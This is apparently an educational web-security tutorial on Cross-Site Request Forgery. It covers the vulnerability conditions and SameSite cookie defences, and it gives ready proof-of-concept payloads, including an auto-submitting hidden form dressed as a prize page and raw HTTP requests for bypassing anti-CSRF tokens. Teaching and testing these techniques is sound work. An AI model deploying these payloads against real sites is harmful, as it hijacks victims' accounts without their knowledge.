Cross-Site Request Forgery (CSRF)
Trick authenticated victims into executing state-changing actions on a target application without their knowledge.
// prerequisite reading
The concept
Cross-Site Request Forgery (CSRF) happens when a malicious site causes a victim’s web browser to perform an unwanted action on a trusted site where the user is currently authenticated.
Since browsers automatically send session cookies (like JSESSIONID or session_id) with cross-origin requests by default (unless restricted by SameSite policies), the target application treats the incoming request as legitimately authored by the victim.
+----------------+ 1. Victim visits malicious page +------------------+
| Victim Browser | <------------------------------------------------ | Attacker Website |
+----------------+ +------------------+
|
| 2. Browser fires automated POST request
| with victim's stored session cookie
v
+------------------+
| Target Web App | (App processes action e.g., email change)
+------------------+
Vulnerability conditions
A CSRF vulnerability exists when three key conditions are met:
- A relevant action: There is an action within the app that the attacker has a reason to induce (e.g., changing an account email, updating a password, or transferring funds).
- Cookie-based session handling: Performing the action relies solely on session cookies, with no other mechanism for tracking sessions or validating user intent.
- No unpredictable parameters: The requests that perform the action contain no parameters whose values the attacker cannot determine or guess (e.g., an anti-CSRF token).
Building a CSRF proof-of-concept (PoC)
If an application updates a user’s email via a GET or POST request without CSRF tokens:
GET-based CSRF
<img src="https://vulnerable-target.com/user/email/change?email=attacker@evil.com" />
POST-based CSRF HTML payload
<html>
<body>
<h1>You won a prize! Loading...</h1>
<form id="csrfForm" action="https://vulnerable-target.com/account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
Common anti-CSRF bypass techniques
1. Removing the CSRF token
Some applications validate tokens when present, but skip validation if the parameter is omitted completely:
POST /account/change-email HTTP/1.1
Host: vulnerable-target.com
Cookie: session=xyz123
email=attacker@evil.com
2. Changing the HTTP method
Applications using frameworks that bind handlers to multiple methods might validate tokens on POST requests but ignore them on GET requests:
GET /account/change-email?email=attacker@evil.com HTTP/1.1
Host: vulnerable-target.com
Cookie: session=xyz123
3. Decoupled token validation
Some apps verify that a token is structurally valid without checking if it belongs to the active user session. Test by substituting a valid CSRF token harvested from your own attacker account.
4. CSRF token tied to a secondary cookie
If the app checks the csrfToken parameter against a csrfKey cookie value, test if you can set or override cookies via a Cookie Injection / Header Injection vulnerability elsewhere on the domain.
SameSite cookie defenses
Modern browsers enforce the SameSite attribute on cookies:
| SameSite attribute | Behavior |
|---|---|
Strict |
Cookie is never sent in cross-site requests (e.g., following a link or submitting a cross-site form). |
Lax |
Cookie is withheld on cross-site subrequests (images/iframes), but sent when a user navigates to the origin site (top-level GET navigation). |
None |
Cookie is sent in all cross-site contexts, but requires Secure flag (HTTPS only). |
CTF Note: If
SameSite=Laxis enabled, standard cross-site POST forms will fail, but GET-based state changes or CSRF via XSS can still succeed.